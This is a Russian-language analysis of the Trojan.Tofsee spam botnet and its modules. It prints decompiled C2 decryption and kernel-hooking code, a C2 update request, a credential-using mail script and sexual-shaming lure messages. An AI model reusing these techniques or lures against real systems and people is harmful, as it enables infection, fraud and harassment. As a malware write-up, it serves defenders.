Trojan.Tofsee, который действует как антивирус.
Специалисты по безопасности из компании «Доктор Веб» проанализировали троян под названием Trojan.Tofsee. Один из его модулей отвечает за удаление другого вредоносного ПО с зараженных компьютеров, напоминая тем самым работу антивируса. Иногда пользователи игнорируют необходимость защиты своих компьютеров с помощью антивирусного программного обеспечения, в результате их системы могут содержать вирусы. Можно сказать, что те люди, чьи ПК были заражены вредоносной программой Trojan.Tofsee более удачливы, чем остальные — помимо спама, троян способен вылечить систему от других угроз и кстати, делает он это на удивление эффективно. Trojan.Tofsee распространяется различными способами: через Skype, социальные сети и USB накопители. В первом случае, преступники используют самые популярные методы социальной инженерии, пытаясь убедить пользователей в том, что в интернете размещены компрометирующие их фотографии и видео. Хотя этот простой трюк используется лицами, занимающиеся распространением вирусов на протяжении многих лет, люди до сих пор «клюют» на такую наживку. Специальный модуль, который загружается с сервера злоумышленников, отвечает за распространение программы Trojan.Tofsee через Вконтакте, Facebook, Twitter, либо Skype. Сообщения передаваемое через модуль создаются по средствам шаблона, расположенного в конфигурационном файле, а затем отправляются пользователям социальных сетей на их родном языке. В тексте сообщения присутствует ссылка на страницу, на которой, якобы, находятся компрометирующие человека материалы. Но для того, чтобы можно было их просмотреть, пользователь должен загрузить плагин для браузера — в самом деле, это и есть Trojan.Tofsee. Чтобы отправлять спам-сообщения через Twitter или Facebook, вредоносный модуль использует данные, хранящиеся в файлах «cookie» веб-браузеров Microsoft Internet Explorer, Mozilla Firefox, Opera, Safari и Google Chrome. Для отправки сообщений через Skype, модуль активирует кнопки в окне приложения. Вредоносное ПО даже может обойти защиту КАПЧИ и других систем безопасности. Другой модуль облегчает распространение трояна с помощью портативных устройств хранения данных. В этом случае также как и в предыдущем, создатели вируса решили не изобретать колесо заново, а использовали достаточно часто используемое решение: программа заносит основной каталог Trojan.Tofsee в корзину и создает файл autorun.inf в корне устройства. В глазах антивируса такое решение не выглядит угрожающе. Еще один модуль отвечает за обновление ядра программы Trojan.Tofsee с сервера хакеров. Все параметры, необходимые для проведения этой процедуры хранятся в специальном конфигурационном файле. Если какого-либо из этих параметров не хватает, троян не обновляется, а только получает с сервера необходимые фотоатериалы. Самый необычным модуль, предназначен для поиска и удаления всех обнаруженных троянов и другого вредоносного ПО с зараженного компьютера. Он может сканировать файлы из указанного списка, записи в системном реестре Windows, работающие процессы и способен удалять обнаруженные вредоносные файлы. Даже если пользователь не использует антивирус , Trojan.Tofsee «позаботится» о безопасности системы. Основная цель трояна — это рассылка спама. Текст спам сообщения генерируется с помощью специальных шаблонов, которые троянец загружает с сервера злоумышленников. В главном модуле Trojan.Tofsee реализованы обычные сетевые процедуры и SMTP. После того как соединение с сервером будет установлено, ему передается ключи для дешифровки. Затем троянец отправляет данные на главный сервер, с которого получает дополнительные команды. Стоит отметить, что для создания спам-трояна использовался собственный скриптовый язык, что довольно редко в случае с вредоносными программами. В настоящее время Tofsee.Trojan может загрузить с удаленного сервера до 17 модулей, реализованных в виде DLL-библиотек. Помимо описанных выше функций, Trojan.Tofsee использует следующие модули: Модуль, используемый для проверки адреса удаленного хоста, загружается плагин в виде блока конфигурационных данных; Модуль для проведения DDoS-атак. Он обеспечивает выполнение двух типов атак: http флуд и syn flood; Зашифрованная плагин Trojan.PWS.Pony.5; Плагин, который создает логи данных, используемых в Internet Explorer. Этот плагин имеет собственный конфигурационный файл, извлекает из него библиотеку IEStub.dll и вводит ее в процесс браузера; Плагин Обработки графических файлов, которые потом используют другие плагины; Модуль получения адреса электронной почты из Internet Account Manager и PStoreCreateInstance, генерирующий адреса отправителей по формуле % NAMEPC% @mail.ru и пытающийся отправлять сообщения на значения из сгенерированного списка; Модуль добытчик Trojan.BtcMine.148, который используется для получения биткоинов. Плагин устанавливает в системе Trojan.BtcMine.148 и придает ему все необходимые рабочие параметры; Модуль, который устанавливает Trojan.Siggen.18257 в каталоге system32\drivers\ как файл со случайным именем и расширением .sys, после чего выполняет его; Модуль прокси HTTP и socks5; Модуль, создающий и отправляющий сообщения электронной почты; генерирует сообщения, опираясь на собственный скриптовый язык, и передает их по протоколу HTTPS; реализовано шифрование SSL с помощью Microsoft Unified Security Protocol Provider; Захват сетевого трафика на низком уровне и библиотека процедур, выполняющая задания с помощью специального драйвера. Ищет потоки данных передаваемых по FTP и SMTP протоколам и может изменять адрес и содержимое сообщений; Плагин, создающий и превращающий шаблоны конфигурации; Модуль, основанный на языке сценариев, участвует в создании спам-сообщений.
Многокомпонентный троянец с широким функционалом, предназначен для рассылки спама, способен выполнять множество других функций. После запуска сохраняет свою копию в папке:
%USER%\<rnd>.exe
Потом регистрирует ссылку на этот файл в ветви системного реестра, отвечающего за автозапуск приложений:
Software\Microsoft\Windows\CurrentVersion\Run MSConfig=%USER%\<rnd>.exe.
Затем троянец пытается встроиться в запущенный процесс svchost.exe.
После завершения установки Trojan.Tofsee соединяется с управляющим сервером и получает от него список узлов, откуда загружает свои дополнительные модули и шаблоны для спам-рассылки:
Основные функции для работы с сетью и протоколом SMTP реализованы в основном модуле Trojan.Tofsee. После успешного подключения к управляющему серверу тот отсылает троянцу ключи для расшифровки данных.
unsigned __int8 __cdecl decrypt_bin(BYTE *in, int size)
{
unsigned __int8 r; // al@1
BYTE *in_; // esi@1
unsigned __int8 k; // dl@1
r = size;
in_ = in;
for ( k = 0xC6u; in_ < &in[size]; k = r )
{
r = *in_ ^ 0xC6;
*in_ = k ^ (0x20 * *in_ | (*in_ >> 3));
++in_;
}
return r;
}
Данные имеют следующую структуру:
#pragma pack(push, 1)
struct tmsg
{
BYTE key[128];
_DWORD d33; //1
_DWORD d34; //1
_DWORD d35; //0x19000
_DWORD d36; //0
_DWORD ip_addr;
_DWORD srv_time;
BYTE rnd[0x30];
};
#pragma pack(pop)
Затем троянец передает на командный сервер данные о себе, пакет имеет заголовок и блок данных:
#pragma pack(push, 1)
struct thead
{
_DWORD size;
_DWORD size_decompress;
_DWORD crc32;
_BYTE flag_compress; (2 - compress)
DWORD op;
DWORD d2;
DWORD d3;
};
#pragma pack(pop)
#pragma pack(push, 1)
struct tbotinfo
{
DWORD flags_upd; //0
DWORD d1; //0
_DWORD id;
_DWORD f_45h; //0x45
_DWORD dword10; //0
_DWORD net_type; //0x1F
_DWORD VM;
_DWORD f_0Bh; //0xB
_DWORD dword20; //0
DWORD d10; //0
_DWORD lid_file_upd; //0
_DWORD tickcount;
DWORD tickcount_delta;
_DWORD born_date;
_DWORD localip;
DWORD host_bitflags; //0
DWORD d9; //0
_BYTE byte44;//0
_BYTE os; //0x51
BYTE unk[0x2E]; //00000...
};
#pragma pack(pop)
Данные и заголовок шифруются ключом, содержащимся в теле троянца, и ключом, принятым от сервера. Сервер передает троянцу задание, содержащее команды для последующего выполнения.
#pragma pack(push, 1)
struct theadplug
{
DWORD op;
BYTE name[0x10];
DWORD crc32;
DWORD size;
DWORD d8;
DWORD flag;
};
#pragma pack(pop)
В настоящий момент Trojan.Tofsee может загружать с удаленных серверов 17 подключаемых модулей, реализованных в виде динамических библиотек.
antibot.dll
Модуль, предназначенный для очистки инфицированного ПК от троянцев и других вредоносных программ (за исключением, разумеется, самого Trojan.Tofsee). Модуль реализует следующие функции:
рекурсивный поиск файлов;
рекурсивный поиск заданного значения по ветвям реестра;
перечисление процессов;
перечисление мьютексов;
поиск заданного значения в ветви реестра Browser Helper Objects.
Trojan.Tofsee передает данному плагину конфигурационный файл, содержащий сведения о вредоносных программах, которые следует удалить.
blist.dll
Модуль для проверки правильности адресов удаленных узлов, передаваемых ему в виде блока конфигурационных данных. В исследованном образце имеются характерные строки:
services
period
blist_cfg
%u.%u.%u.%u.%s
localcfg
\log_%s.txt
c:\log_%s.txt
plg_blist
WSOCK32.dll
Sleep
InterlockedExchange
GetTickCount
CloseHandle
TerminateThread
lstrlenA
lstrcmpiA
CreateThread
GetEnvironmentVariableA
DeleteFileA
HeapAlloc
GetProcessHeap
HeapReAlloc
HeapFree
GetVolumeInformationA
GetSystemTimeAsFileTime
KERNEL32.dll
wsprintfA
USER32.dll
blist.dll
plg_init
ddosR.dll
Плагин для реализации DDoS-атак. Способен реализовывать два вида атак: http flood и syn flood. Syn-пакеты отправляются через специальный драйвер, к которому плагин подключается по символической ссылке:
\\.\PassThru
grabb
Зашифрованный Trojan.PWS.Pony.5.
webb.dll
Модуль для журналирования данных браузера Microsoft Internet Explorer. Извлекает из своего тела и встраивает в процесс браузера библиотеку IEStub.dll, управляется отдельным конфигурационным файлом, имеющим следующие параметры:
webb_cfg
version
stor_data.max_size
stor_data.max_live
doc_timeout
img.dll
Модуль для работы с графическими файлами, загружает изображения в специальные структуры для дальнейшей работы других плагинов. Характерные строки:
%s.%s
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Plugin restarted
img_callback: Loaded value='%s' base64 size=%d macr id=%d
img_callback: base64_encode error for block name='%s'
img_callback: Delete value='%s' macr id=%d
img_callback: required config version=1
img_callback: Wrong value of param '%s.name'
prefix
name
macroses
version
img_cfg
img_handler: Can't replace value size=%d.
Buffer size=%d very small
\log_%s.txt
c:\log_%s.txt
plg_img
lstrcmpiA
lstrlenA
Sleep
InterlockedExchange
GetTickCount
lstrcmpA
GetEnvironmentVariableA
DeleteFileA
HeapAlloc
GetProcessHeap
HeapReAlloc
HeapFree
GetVolumeInformationA
GetSystemTimeAsFileTime
KERNEL32.dll
wsprintfA
USER32.dll
img.dll
plg_init
locsR.dll
Модуль извлекает почтовые адреса из Internet Account Manager и PStoreCreateInstance, формирует адрес отправителя в виде %NAMEPC%@mail.ru и пытается отправить сообщения по созданному списку.
miner.dll
Плагин загружает предназначенного для добычи криптовалюты Bitcoin троянца Trojan.BtcMine.148, устанавливает его и передает необходимые параметры при запуске.
protect.dll
Модуль устанавливает в папку system32\drivers\ вредоносную программу Trojan.Siggen.18257 в виде файла со случайным именем и расширением .sys, после чего запускает его. Этот вредоносный драйвер перечисляет следующие элементы:
NTSTATUS set_FileSystem()
{
NTSTATUS r; // eax@1
char v1; // [sp+4h] [bp-35Ch]@3
UNICODE_STRING Buffer; // [sp+20Ch] [bp-154h]@2
WCHAR SourceString; // [sp+310h] [bp-50h]@1
UNICODE_STRING DestinationString; // [sp+328h] [bp-38h]@1
OBJECT_ATTRIBUTES ObjectAttributes; // [sp+330h] [bp-30h]@1
ULONG Context; // [sp+348h] [bp-18h]@2
ULONG ReturnLength; // [sp+34Ch] [bp-14h]@2
NTSTATUS v8; // [sp+350h] [bp-10h]@1
UNICODE_STRING Destination; // [sp+354h] [bp-Ch]@3
HANDLE DirectoryHandle; // [sp+35Ch] [bp-4h]@1
decrypt((int)&SourceString, (int)&FileSystem, 12);
RtlInitUnicodeString(&DestinationString, &SourceString);
ObjectAttributes.ObjectName = &DestinationString;
ObjectAttributes.Length = 24;
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.Attributes = 64;
ObjectAttributes.SecurityDescriptor = 0;
ObjectAttributes.SecurityQualityOfService = 0;
r = ZwOpenDirectoryObject(&DirectoryHandle, 1u, &ObjectAttributes);
v8 = r;
if ( r >= 0 )
{
if ( !ZwQueryDirectoryObject(DirectoryHandle, &Buffer, 0x104u, 1u, 1u, &Context, &ReturnLength) )
{
do
{
Destination.Buffer = (PWSTR)&v1;
Destination.Length = 0;
Destination.MaximumLength = 520;
RtlAppendUnicodeToString(&Destination, &SourceString);
RtlAppendUnicodeToString(&Destination, &Source);
RtlAppendUnicodeStringToString(&Destination, &Buffer);
set_pdo_hook0(&Destination);
}
while ( !ZwQueryDirectoryObject(DirectoryHandle, &Buffer, 0x104u, 1u, 0, &Context, &ReturnLength) );
}
memset(&SourceString, 0, 0x18u);
ZwClose(DirectoryHandle);
r = v8;
}
return r;
}
И на каждый полученный объект устанавливает собственный обработчик:
int __stdcall set_pdo_hook0(PUNICODE_STRING file)
{
int v1; // edi@1
v1 = ObReferenceObjectByName(file, 64, 0, 0x80000000, IoDriverObjectType, 0, 0, &file);
if ( v1 >= 0 )
{
set_pdo_hook((PDRIVER_OBJECT)file);
ObfDereferenceObject(file);
}
return v1;
}
NTSTATUS __stdcall set_pdo_hook(PDRIVER_OBJECT pdo)
{
NTSTATUS r; // eax@1
struct_5 *v2; // eax@4
struct_5 *v3; // ebx@4
NTSTATUS v4; // [sp+4h] [bp-8h]@1
struct_4 *v5; // [sp+8h] [bp-4h]@1
r = search_pdo(pdo, &v5);
v4 = r;
if ( r >= 0 )
{
if ( v5 )
{
r = 0;
}
else
{
v2 = (struct_5 *)ExAllocatePoolWithTag(0, 0xECu, 0x72746B4Du);
v3 = v2;
if ( v2 )
{
memset(v2, 0, 0xECu);
v3->pdo = pdo;
memcpy(v3->func1, pdo->MajorFunction, sizeof(v3->func1));
memcpy(v3->func2, pdo->MajorFunction, sizeof(v3->func2));
v3->func2[0] = (DWORD)MajorFunction0;
swap_pdo_func(pdo, v3->func2);
sub_80481776(v3);
r = v4;
}
else
{
r = -1073741670;
}
}
}
return r;
}
Обработчик скрывает элементы с именем System.
proxyR.dll
Модуль, реализующий функции http- и socks5-прокси. Прокси-серверу передается конфигурационный файл:
smtp.dll
Модуль предназначен для формирования и рассылки почтовых сообщений. Использует встроенный скриптовый язык для формирования сообщений и рассылает их по протоколу HTTPS. SSL-шифрование реализовано посредством Microsoft Unified Security Protocol Provider.
snrpR.dll
Библиотека для перехвата и анализа трафика на низком уровне, использует для этого специальный драйвер. Ищет в потоке данных информацию, передаваемую по протоколам FTP и SMTP, может подменять адреса и тело сообщений.
spread1.dll
Плагин используется для новых заражений. Умеет отправлять сообщения в Skype, а также через социальные сети Twitter, Facebook, «ВКонтакте». Отправляемые сообщения строятся по шаблону, который передается в конфигурационном файле. Шаблон имеет следующий вид:
vk.message1 %SPRD_TEXT1|%LANG_ID| %SPRD_URL3
Сообщения пользователям социальных сетей отправляются с учетом используемого ими национального языка. Например, русскоязычным пользователям рассылаются следующие сообщения:
Хай. Зацени свои интимные фотки :)
Привет! Офигеть... Неуж-то это ты?!
Привет друг) Попалился ты однако конекретно. Это ж ты?
Офигеть! Это ты? Это конкретное палево ч?
Ты идиот? Зачем таки? фотки выкладывать в сеть??
Спецом выложили эту фотку, где ты выглядишь как шлюха?))
Жесть!! Как можно было так спалиться?!
Твои родители уже видели?
5ли эту твою фото с вечеринки? ггг)
Вот это да! Ты прикалываешься? Такое фото выложить...)
В тексте сообщения приводится ссылка на страницу, где потенциальная жертва якобы может ознакомиться с компрометирующими ее видеозаписями или фотографиями. Однако для просмотра этого контента пользователю предлагается загрузить плагин для браузера, под видом которого распространяется Trojan.Tofsee.
Для отправки сообщений на сайты Twitter, Facebook и «ВКонтакте» модуль использует данные сессии из cookies браузеров Microsoft Internet Explorer, Mozilla Firefox, Opera, Safari, Google Chrome. В программу Skype сообщения отсылаются с помощью нажатия кнопок в окне самого приложения. Модуль также умеет распознавать защиту captcha на сайте социальной сети Facebook — для этого она отправляется на сервер, где распознается, после чего троянец получает текст для ввода с соответствующую экранную форму.
spread2.dll
Плагин для заражения съемных flash-накопителей: сохраняет Trojan.Tofsee в Корзине, в корневой папке съемного накопителя создает файл autorun.inf. Заражение выполняется по команде с управляющего сервера.
sys.dll
Модуль для обновления ядра Trojan.Tofsee. Выполняет запросы в соответствии с заданными в конфигурационном файле параметрами:
POST /tsone/ajuno.php HTTP/1.1
Host: 111.121.*.*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://111.121.*.*/tsone/ajuno.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
u=name03&p=3sRd6Nf8H&l=11
Если в качестве входного параметра не указано значение «l», с управляющего сервера загружается графический файл компрометирующего характера.
Для Windows с версией ядра 5.1 и 5.2 получает адрес PsInitialSystemProcess и читает адрес ядра следующим образом:
NTSTATUS __stdcall SysDbgCopyMemoryChunks_0(BYTE *va, BYTE *buf, int size)
{
struct_1 InputBuffer; // [sp+0h] [bp-Ch]@1
InputBuffer.va = va;
InputBuffer.buf = buf;
InputBuffer.size = size;
return ZwSystemDebugControl((DEBUG_CONTROL_CODE)8, &InputBuffer, 0xCu, 0, 0, 0);// SysDbgCopyMemoryChunks_0
}
Таким образом модуль получает указатель на EPROCCESS.
text.dll
Плагин обрабатывает конфигурационные шаблоны и соответствующим образом формирует их в памяти.webmR.dll
В данном модуле реализован скриптовый язык для создания рассылаемых троянцем писем. Пример скрипта:
C pop.mail.yahoo.com:995
X
R
S ya_pop_01.txt
o ^+OK
W """USER __S(ACC)__\r\n"""
R
S ya_pop_02.txt
o ^+OK
W """PASS __S(PASSWD)__\r\n"""
R
S ya_pop_03.txt
I L_END2_YA """pop not allowed"""
I L_END2_YA """invalid user/password"""
I L_END2_YA """mailbox could not be opened"""
o ^+OK
i L_END_YA """has """
i L_END_YA """ messages"""
p NUM """has """ """ messages"""
+ '__v(NUM)__'
v CNT 1
L L_LOOP_EMAILS_YA
v COMP __A(1|__v(CNT)__,>,__v(NUM)__)__
u L_END_YA 1 __v(COMP)__
v COMP __A(1|__v(CNT)__,>,50)__
u L_END_YA 1 __v(COMP)__
W """TOP __v(CNT)__ 12\r\n"""
R
S ya_pop_msg__v(CNT)__a.txt
o ^+OK
I L_RECEIVED_YA """From:"""
p SIZE """+OK """ """ byte(s)"""
R __v(SIZE)__
S ya_pop_msg__v(CNT)__b.txt
o From:
L L_RECEIVED_YA
i L_SKIP_EMAIL_YA """This is an automatically generated Delivery Status Notification."""
+ h
p OTLUP """This is an automatically generated Delivery Status Notification."""
h __v(OTLUP)__
W """DELE __v(CNT)__\r\n"""
R
S ya_pop_msg__v(CNT)__c.txt
o ^+OK
L L_SKIP_EMAIL_YA
v CNT __A(1|__v(CNT)__,+,1)__
J L_LOOP_EMAILS_YA
L L_END_YA
W """QUIT\r\n"""
R
S ya_pop_04.txt
o ^+OK
L L_END2_YA
E 1
Комментарии
Мне всегда нравилась красота. Хоть в живописи, хоть в музыке, в математике... Даже деревянные чурбаки и корнепереплетения!;) Да и программирование имеет крайне интересные ителектуальные решения. А веник... это скорее из исторических параллелей - один прутик ломается просто. А попробуйте сломать веник!!)))
Веник? Сломаю, при условии, шо новый купишь. Нечем квартиру будет подметать, ога и в форточку вылетать.
Да, красиво. Нечто подобное есть у Каспера;)
Так, и хде там моя крутая тачила?))) Домой пора к троллятам, а не звиздеть с вами.
Комментарий удален модератором
Комментарий удален модератором